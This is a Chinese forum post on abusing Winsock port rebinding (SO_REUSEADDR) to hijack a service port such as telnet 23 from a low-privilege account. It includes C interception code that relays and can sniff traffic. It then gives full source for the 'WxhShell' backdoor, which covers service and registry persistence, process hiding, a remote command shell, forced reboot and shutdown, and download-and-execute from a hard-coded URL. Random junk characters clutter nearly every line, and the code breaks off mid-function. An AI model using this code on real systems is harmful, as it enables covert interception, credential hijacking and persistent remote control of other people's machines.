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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 23k)X"5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MYu`c[$jZ  
q#m!/wod  
  saddr.sin_family = AF_INET; UQnBqkE  
5Kee2s?*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (gD Q\t@3-  
I}_;A<U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r;'i<t{P  
OOfy Gvs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (H2ylMpQt  
$)f"K  
  这意味着什么?意味着可以进行如下的攻击: _hWuAJ9Qy  
[\a:4vDAbi  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "R8.P/ 3  
|+u+)C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l[Tt[n  
+\srZ<67  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {x9j_/R  
R qn WtE  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2'Y{FY_Z  
aU4R+.M7@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 drbe#FObX  
{hM"TO7\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5 >'66gZ  
aDN.gM S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &jt02+Hj'  
PP],HB+*[  
  #include CX]RtV!  
  #include ~Po\ En  
  #include ]W+)ee|D  
  #include     k~{Fnkt  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9uKOR7.zbo  
  int main() #jOOsfH|k  
  { |^ ?`Q.|c$  
  WORD wVersionRequested; b$dBV}0 L  
  DWORD ret; 1E8$% 6VV  
  WSADATA wsaData; hr%U>U9F  
  BOOL val; 8~;{xYN )  
  SOCKADDR_IN saddr; _a fciyso  
  SOCKADDR_IN scaddr; 1k$2LQ  
  int err; `(P "u  
  SOCKET s; ' J2ewW5  
  SOCKET sc; w<Zdq}{jO  
  int caddsize; @51z-T  
  HANDLE mt; vf6`s\6  
  DWORD tid;   U[IQ1AEr  
  wVersionRequested = MAKEWORD( 2, 2 ); y2U/$%B)G  
  err = WSAStartup( wVersionRequested, &wsaData ); +I*k0"gj6  
  if ( err != 0 ) { EK^JLvyT  
  printf("error!WSAStartup failed!\n"); NS h%t+XU]  
  return -1; K1/ U (A  
  } sf fV.cC`  
  saddr.sin_family = AF_INET; 2XzF k_6H  
   1]"D%U=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9*BoYFw92*  
;9}w|!/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SRP5P,-y  
  saddr.sin_port = htons(23); sq6>DuBZz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tX@ 0:RX%  
  { f$Gr`d  
  printf("error!socket failed!\n"); C_6GOpl  
  return -1; Dq{:R  
  } S4;wa6  
  val = TRUE;  AqKHjCI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O 5g}2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n>u.3w L  
  { Q1aHIc  
  printf("error!setsockopt failed!\n"); R 4DM_ u  
  return -1; <sm#D"GpP  
  } TFAYVK~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5T~3$kuO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P]|J?$1K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?lu_}t]  
>`<Ued  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _Syre6k  
  { OG0r4^6Ly  
  ret=GetLastError(); eV"dv*R  
  printf("error!bind failed!\n"); /p[|DJo M  
  return -1; s]$HkSH  
  } Y'tqm&}  
  listen(s,2); ;M%oQ> ].[  
  while(1) j9{O0[v  
  { h`z2!F4  
  caddsize = sizeof(scaddr); l[tY,Y:4qO  
  //接受连接请求 <9Lv4`]GU5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pWWL{@J  
  if(sc!=INVALID_SOCKET) &{X{36  
  { 4JX`>a{<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); aO~s i=  
  if(mt==NULL) N BV}4  
  { SQ1M4:hP  
  printf("Thread Creat Failed!\n"); {Q{lb(6Ba  
  break; FZ[@])B  
  } Fpy6"Z?z  
  } `,F&y{ A  
  CloseHandle(mt); l=oN X"l=  
  } y #hga5  
  closesocket(s); t/l!KdY$  
  WSACleanup(); 4yA9Ni  
  return 0; +)/Rql(lY  
  }   bYwI==3  
  DWORD WINAPI ClientThread(LPVOID lpParam) A[sM{i~Z  
  { Wl^prs7}c  
  SOCKET ss = (SOCKET)lpParam; tIz<+T_  
  SOCKET sc; zjluX\  
  unsigned char buf[4096]; />dB%*  
  SOCKADDR_IN saddr; 6{JR0  
  long num; ,pQ'w7  
  DWORD val; @-)<|orU4  
  DWORD ret; 3q~":bpAp  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ze [g0"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K7 t&fDI  
  saddr.sin_family = AF_INET; sD LVYD  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tnQR<  
  saddr.sin_port = htons(23); \Dvl%:8   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OqfhCNAY  
  { nx!qCgo  
  printf("error!socket failed!\n"); c,v^A+sZu  
  return -1; u)q2YLK8  
  } Uv @!i0W  
  val = 100; g|&.v2 '  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q7 %=`l  
  { u+2 xrzf  
  ret = GetLastError(); { 4_I7r  
  return -1; >< <$  
  } -Z`(? k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;,F-6RNj  
  { lfU"SSQ  
  ret = GetLastError(); 1M%{Uqsd-  
  return -1; "?2  
  } w6WGFQ_%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *6 z'+'  
  { 8k+q7  
  printf("error!socket connect failed!\n"); _Ewy^;S%L  
  closesocket(sc); Pi&fwGL  
  closesocket(ss); #hy5c,}>  
  return -1; LW83Y/7  
  }  |0C|$2  
  while(1) )V[w:=*  
  { 2- Npw%;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fd!pM4"0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Y0P}KPD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ( )JYN5  
  num = recv(ss,buf,4096,0); FT*yso:X/  
  if(num>0) OEy:#9<'  
  send(sc,buf,num,0); 5p]urfN-f  
  else if(num==0) 2-"Lxe65f  
  break; 7.lK$J:  
  num = recv(sc,buf,4096,0); A:8FJ3'  
  if(num>0) CO:m]oj  
  send(ss,buf,num,0); gqO%^b)6  
  else if(num==0)  ?;ALF  
  break; ;3.T* ?|o  
  } fw(j6:p  
  closesocket(ss); F?RCaj  
  closesocket(sc); wRV`v$*6  
  return 0 ; zCj*:n  
  } @ }zS/LO  
c"%_]7  
|h^G$guw  
========================================================== Zi<Sw  
26('V `N  
下边附上一个代码,,WXhSHELL DiGUxnP  
T0*TTB&b  
========================================================== Sq?6R}q%  
+e\:C~2f28  
#include "stdafx.h" A3 Rm 0  
o3TBRn,  
#include <stdio.h> #RLch  
#include <string.h> xdbu|fC  
#include <windows.h> r$3~bS$]  
#include <winsock2.h> 5x1%oC  
#include <winsvc.h> VxPTh\O*[  
#include <urlmon.h> Ivt)Eg  
%`s9yRk9>E  
#pragma comment (lib, "Ws2_32.lib") #/XK&(X  
#pragma comment (lib, "urlmon.lib")  4s1kZ`e  
=B o4yN  
#define MAX_USER   100 // 最大客户端连接数 <Hr@~<@~  
#define BUF_SOCK   200 // sock buffer H z < M  
#define KEY_BUFF   255 // 输入 buffer ( 7Ca\H3$  
x w?9W4<  
#define REBOOT     0   // 重启 vU \w3  
#define SHUTDOWN   1   // 关机 [hv3o0".  
3$kv%uf{  
#define DEF_PORT   5000 // 监听端口 <-oRhi4  
#:ED 0</  
#define REG_LEN     16   // 注册表键长度 d'g{K]=tF  
#define SVC_LEN     80   // NT服务名长度 &' Nk2{  
I8-&.RE  
// 从dll定义API /xrq'|r?C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M;RnH##W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k>z-Zg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i_ODgc`H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EH!EyNNb  
`aWwF} +Y  
// wxhshell配置信息 6 peM4X  
struct WSCFG { H{tOCYyD  
  int ws_port;         // 监听端口 $O]E$S${  
  char ws_passstr[REG_LEN]; // 口令 e,j? _p  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6'sFmC  
  char ws_regname[REG_LEN]; // 注册表键名 <GFB'`L  
  char ws_svcname[REG_LEN]; // 服务名 rbJ)RN^.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RWh}?vs_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yV]-Oa$*s0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M3ZJt'|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nu<!2xs,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &40JN}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +KwF U  
fdH'z:Xao  
}; XY t8vJ  
K/.hJ  
// default Wxhshell configuration j BQqpFH9  
struct WSCFG wscfg={DEF_PORT, g7Q*KA+  
    "xuhuanlingzhe", 0Eg r Q  
    1, my\oC^/9  
    "Wxhshell", `zsk*W1GA  
    "Wxhshell",  v=Bh A9[  
            "WxhShell Service", +sbacMfq  
    "Wrsky Windows CmdShell Service", [\M?8R$)  
    "Please Input Your Password: ", A[,"jh  
  1, KZ >"L  
  "http://www.wrsky.com/wxhshell.exe", b+j_EA_b  
  "Wxhshell.exe" Nwu Be:"@  
    }; Ky~~Cd$  
md +`#-D\O  
// 消息定义模块 ^l2d?v8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X'Il:SK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4y}a,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T^H) lC#R  
char *msg_ws_ext="\n\rExit."; F1[ [fH  
char *msg_ws_end="\n\rQuit."; vc1GmB  
char *msg_ws_boot="\n\rReboot..."; <.B > LU  
char *msg_ws_poff="\n\rShutdown..."; Q+js2?7^  
char *msg_ws_down="\n\rSave to "; Jz8#88cY  
9oN'.H^  
char *msg_ws_err="\n\rErr!"; A(sx5Ynp  
char *msg_ws_ok="\n\rOK!"; <^c0bY1  
eS%6 h U b  
char ExeFile[MAX_PATH]; O*Pe [T5x'  
int nUser = 0; [ Zqg"`  
HANDLE handles[MAX_USER]; Us~wv"L=UX  
int OsIsNt; m<LzB_ G\  
[goPmVe+  
SERVICE_STATUS       serviceStatus; q'-l; V|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x=|@AFI  
5:3$VWLa <  
// 函数声明 _Ws k3AP  
int Install(void); F88SV6  
int Uninstall(void); (=B7_jrl  
int DownloadFile(char *sURL, SOCKET wsh); Y$5v3E\uc  
int Boot(int flag); sWzXl~JbF  
void HideProc(void); x(6.W"-S  
int GetOsVer(void); JV{!Ukuyp+  
int Wxhshell(SOCKET wsl); 6C}Z1lZl  
void TalkWithClient(void *cs); n&{N't  
int CmdShell(SOCKET sock); S5 vMP N  
int StartFromService(void); .ihn@eg  
int StartWxhshell(LPSTR lpCmdLine); BnY|t2r  
fBh|:2u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u+FftgA  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  xyCcd=  
(?wKBUi  
// 数据结构和表定义 A^7Zy79  
SERVICE_TABLE_ENTRY DispatchTable[] = Bm>(m{sX>  
{ 4nXS9RiF2  
{wscfg.ws_svcname, NTServiceMain}, f3|=T8"t  
{NULL, NULL} v333z<<S  
}; wpMQ 7:j  
a m%{M7":7  
// 自我安装 j`hbQp\`  
int Install(void) UZ0O j5B.  
{ P?ol]MwaB  
  char svExeFile[MAX_PATH]; TyXOd,%zl  
  HKEY key; ~&|i'f[  
  strcpy(svExeFile,ExeFile); < VsZ$  
E&v-(0  
// 如果是win9x系统,修改注册表设为自启动 A|nU _*  
if(!OsIsNt) { 0kEq|k9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1S@k=EKM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l'R`XGT  
  RegCloseKey(key); :Dm@3S$4<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;:1mv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >u[ln@ l  
  RegCloseKey(key); 5< nK.i,  
  return 0; t')I c6.?i  
    } >qZRIDE5$  
  } #r}c<?>Vw  
} y5 +&P  
else { |%9~W^b  
_Y~?.hs^  
// 如果是NT以上系统,安装为系统服务 >0$5H]1u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I<#kw)W!  
if (schSCManager!=0) L2tmo-]nw  
{ <VPtbM@(m  
  SC_HANDLE schService = CreateService EaL+}/q&  
  ( 7%WI   
  schSCManager, evP`&23tP  
  wscfg.ws_svcname, (ZJ_&8C#  
  wscfg.ws_svcdisp, }])f^  
  SERVICE_ALL_ACCESS, O#k+.LU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ? 'nMZ  
  SERVICE_AUTO_START, {QJ`.6Kt  
  SERVICE_ERROR_NORMAL, 0eIR)#j*  
  svExeFile, !<'R%<E3 Q  
  NULL, Su~`jRN $  
  NULL, )nVx 2m4  
  NULL, ~a Rq\fx{  
  NULL, n9ih^H  
  NULL ?Ci\3)u,P  
  ); lnUy ? 0(  
  if (schService!=0) `^x^= og'  
  { V00zk`PH  
  CloseServiceHandle(schService); yuq E  
  CloseServiceHandle(schSCManager); (C|%@61S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I-I5^s  
  strcat(svExeFile,wscfg.ws_svcname); fk_i~K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9EW 7,m{A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MvA_tRO  
  RegCloseKey(key); 0rj*SC_  
  return 0; 2 r)c?  
    } M~4!gKs  
  } EWi@1PAZK  
  CloseServiceHandle(schSCManager); WJWrLu92\U  
} BH1To&ol  
} *BV .zbGm  
 Qy%/+9L  
return 1; V^D#i(5  
} im`^_zebj  
uB?YJf .T@  
// 自我卸载 8,Z0J  
int Uninstall(void) }HzZj;O^2>  
{ b~p <   
  HKEY key; 1vr/|RWW  
g  YZgo  
if(!OsIsNt) { 9cQSS'`F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cW2:D$Pe  
  RegDeleteValue(key,wscfg.ws_regname); )_ y{^kn3^  
  RegCloseKey(key); 2t'&7>Ys{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i8]r }a  
  RegDeleteValue(key,wscfg.ws_regname); S;C3R5*:  
  RegCloseKey(key); K':f!sZ&2  
  return 0; /\.kH62  
  } uE2Y n`Ha  
} {+ m)*3~w  
} UTz;Sw?~hw  
else { cjL!$OE6  
A, os rv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t t=$:}A  
if (schSCManager!=0) J';tpr  
{ 2+'&||h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pGC`HTo|  
  if (schService!=0) +RM3EvglDQ  
  { otOl7XF  
  if(DeleteService(schService)!=0) { (]JJ?aAF  
  CloseServiceHandle(schService); Kfi A 7W  
  CloseServiceHandle(schSCManager); _ n>0!  
  return 0; =F`h2A;a  
  } P_;oSN|>  
  CloseServiceHandle(schService); &sW/r::,  
  } >TE&myZ?*  
  CloseServiceHandle(schSCManager); Gp14;  
} c}Qc2D3*  
} ?E`J-ncP  
m=R4A4Y7  
return 1; %l,Xt"nS#  
} Lh+^GQ  
mHP1.Z`  
// 从指定url下载文件 XDn$=`2  
int DownloadFile(char *sURL, SOCKET wsh) GV9"8M Z6  
{ i55']7+0  
  HRESULT hr; -*WD.|k  
char seps[]= "/"; ELm#  
char *token; N\p3*#M  
char *file; BKIt,7j  
char myURL[MAX_PATH]; xsa* XR  
char myFILE[MAX_PATH]; wxoBq{r;  
m?csake.Me  
strcpy(myURL,sURL); k~?@~xm,R  
  token=strtok(myURL,seps); Un<~P@T%  
  while(token!=NULL) FnCHbPlb  
  { !:>y.^O  
    file=token; N=wB1gJ  
  token=strtok(NULL,seps); |h3 YL!  
  } V'9 k;SF  
/q>"">  
GetCurrentDirectory(MAX_PATH,myFILE); hGpaHY>My  
strcat(myFILE, "\\"); )qKfTt N`  
strcat(myFILE, file); 55#H A?cR  
  send(wsh,myFILE,strlen(myFILE),0); ICGBU>Db  
send(wsh,"...",3,0); !6kLg1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j3FDGDrg  
  if(hr==S_OK) Tx!mW-Lt  
return 0; rod{77  
else fQv^=DI#  
return 1; {RzlmDStV  
^rx]Y;  
} Y+D#Dv |  
LOp<c<+aW  
// 系统电源模块 N[AX29  
int Boot(int flag) #"TTI vd0  
{ lc*<UZR  
  HANDLE hToken; fHM<6i<C  
  TOKEN_PRIVILEGES tkp; :imp~~L;  
fSSDOH!U,  
  if(OsIsNt) { zX)uC<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h'wI/Z_'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iLgWzA  
    tkp.PrivilegeCount = 1; ]A'E61t<n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q),yY]5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mio\}S A  
if(flag==REBOOT) { }VyD X14j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) / S]<MS  
  return 0; n&&X{Rl  
} +Ge-!&.;A  
else { @q|I$'K]x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V,lz}&3L  
  return 0; }O8$?7j(  
} c\7~_w2  
  } dZ_Hj X7  
  else { !A g W @  
if(flag==REBOOT) { D/{hLp{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PY~cu@'k{  
  return 0; .I<#i9Le  
} V D-,)f  
else { KxqJlben  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fsb_*sh&  
  return 0; um ,Zt  
} jgbE@IA@!'  
} P6@(nGgK<  
Q`'w)aV  
return 1; ?X~Keb  
} $SA8$!:  
"1yXOy^2  
// win9x进程隐藏模块 yMB*/vs  
void HideProc(void) \= =rdW-  
{ +<7`Gn(n3  
{L4ta~2/T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DavpjwSn  
  if ( hKernel != NULL ) [HLXWu3  
  { 9Eu.Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 09HlL=0q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V]&0"HX2r!  
    FreeLibrary(hKernel); }\?UmuolQ  
  } rzsAnLxo  
kzcl   
return; `2.[8%6  
} Y`.FSs  
G AI( =  
// 获取操作系统版本 lpi^<LQ@l  
int GetOsVer(void) g 67;O(3  
{ sT ]JDC6  
  OSVERSIONINFO winfo; INt]OPD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jbZ%Y0km%  
  GetVersionEx(&winfo); > yk2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }]VFLBl`w  
  return 1; DPqk~KCM  
  else <#HQU<  
  return 0; }M*yE]LL;Z  
} ,}?x!3  
|soDt <y+L  
// 客户端句柄模块 aGSix}b1P  
int Wxhshell(SOCKET wsl) f2ea|l  
{ a/p} ?!\  
  SOCKET wsh; +J [<zxh\  
  struct sockaddr_in client; O1xK\ogv  
  DWORD myID; _ x8gEK8  
u2\QhP 9  
  while(nUser<MAX_USER) "=H(\ V  
{ tr?U/YG  
  int nSize=sizeof(client); {Qv Whf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N5K\h}'%  
  if(wsh==INVALID_SOCKET) return 1; FglW|Hwy  
Qze.1h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [P_@-:(O  
if(handles[nUser]==0) v_G1YC7TU  
  closesocket(wsh); VkW N1A  
else f N_8HP6&  
  nUser++; I) ]"`2w2w  
  } }%) ]b*3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m-u3^\'  
9^+8b9y  
  return 0; rvEX ;8TS  
} ^L4"X~eM  
j;TXZ`|(  
// 关闭 socket <dd XvUCX  
void CloseIt(SOCKET wsh) >a%C'H.A9  
{ ^]n:/kZ5"[  
closesocket(wsh); /Pv dP#!  
nUser--; ,uo K'_  
ExitThread(0); &d sXK~9M>  
} 9u0<$UY%  
omu )s '8  
// 客户端请求句柄 @h=r;N#/`P  
void TalkWithClient(void *cs) 15J t @{<r  
{ ?Z(xu~^/  
4"^v]&I  
  SOCKET wsh=(SOCKET)cs; M4}b l h#  
  char pwd[SVC_LEN]; JfLoGl;p m  
  char cmd[KEY_BUFF]; X+7@8)1(  
char chr[1]; )i/x%^ca$  
int i,j; rK~Obv  
g>*P}r~;^b  
  while (nUser < MAX_USER) { j"5 $m@lgn  
JavSR1_  
if(wscfg.ws_passstr) { _=Y HO.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s:zz 8oN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @V=HY  
  //ZeroMemory(pwd,KEY_BUFF); wN]]t~K)Q  
      i=0; h?7@]&VJ  
  while(i<SVC_LEN) { 2A&Y})D  
wX+KW0|>  
  // 设置超时 >Q#\X=a>  
  fd_set FdRead; bIy:~z5   
  struct timeval TimeOut; H^fErl  
  FD_ZERO(&FdRead); 68QA%m'J  
  FD_SET(wsh,&FdRead); UPcx xtC  
  TimeOut.tv_sec=8;  ovsI2  
  TimeOut.tv_usec=0; w%?6s3   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @)x8<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )-\[A<(  
_FxQl ]@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G[lNgVbU@  
  pwd=chr[0]; ?4sF:Y+\  
  if(chr[0]==0xd || chr[0]==0xa) {  % Z-B{I(  
  pwd=0; WUK{st.z  
  break; <G60R^o  
  } ~8tb^  
  i++; !Ct'H1J-  
    } N VBWF  
T:0#se  
  // 如果是非法用户,关闭 socket n-x%<j(Xf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RxUzJ  
} #,;X2%c  
!b{7gUjyI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ICm/9Onh&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }0 b[/ZwQ  
j-(k`w\  
while(1) { U}:e-  
xB|?}uS-  
  ZeroMemory(cmd,KEY_BUFF); dPb@[k  
h ngdeGa  
      // 自动支持客户端 telnet标准   ;S}_/'  
  j=0; 7thB1cOJ  
  while(j<KEY_BUFF) { fBZR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ] :n! \G  
  cmd[j]=chr[0]; CAtdx!  
  if(chr[0]==0xa || chr[0]==0xd) { IiB"F<&[j{  
  cmd[j]=0; g3kF&+2i  
  break; J`[He$7)  
  }  IA{I|g<  
  j++; &\ \)x.!  
    } /2fQM_ ,P  
ZE4xF8  
  // 下载文件 zOT(>1'  
  if(strstr(cmd,"http://")) { L%5g]=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gQlL0jAV  
  if(DownloadFile(cmd,wsh)) yQdoy^d/4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R^=[D#*]>  
  else 'G8.)eTA'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D.Z4noMA6  
  } xAJuIR1Hi  
  else { <p\iB'y  
HWxwG'EEY,  
    switch(cmd[0]) { |^T?5=&Kt  
  Ika(ip#]=  
  // 帮助 Fpckb18}(O  
  case '?': { ,-.a! a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [RFF&uy  
    break; m+'vrxTY  
  } <L>$Y#wU  
  // 安装 25 m!Bf  
  case 'i': { vY'E+M"+@  
    if(Install()) .F@0`*#rE~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q8[I` V{  
    else #b5V/)K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OM 4, Sevk  
    break; 5,u'p8}.  
    } Gk2R:\/Y  
  // 卸载 ]q<Zc>OC  
  case 'r': { Kfk/pYMDq  
    if(Uninstall()) iz5WWn^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J={R@}u  
    else GEQ3r'B|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2m0laJ3p9  
    break; MO-)j_o-Z  
    } o<\9OQ0  
  // 显示 wxhshell 所在路径 KL4vr|i,  
  case 'p': { |}KNtIX\G  
    char svExeFile[MAX_PATH]; U3 y-cgE  
    strcpy(svExeFile,"\n\r"); ?/ Cl  
      strcat(svExeFile,ExeFile); `D9AtN] R  
        send(wsh,svExeFile,strlen(svExeFile),0); "*N=aHsj  
    break; iQJ[?l`  
    } p`}'-A|@  
  // 重启 W*/0[|n*  
  case 'b': { M8}t`q[-&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W&Pp5KR  
    if(Boot(REBOOT)) QGM@m:O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZQ'bB5I  
    else { Tye[iJ  
    closesocket(wsh); v cZg3:j  
    ExitThread(0); dzn[4  
    } E"[h20`\/  
    break; ubZcpqm?Q  
    } s+l3]Hd  
  // 关机 8O_0x)X  
  case 'd': { OPP^n-iPr  
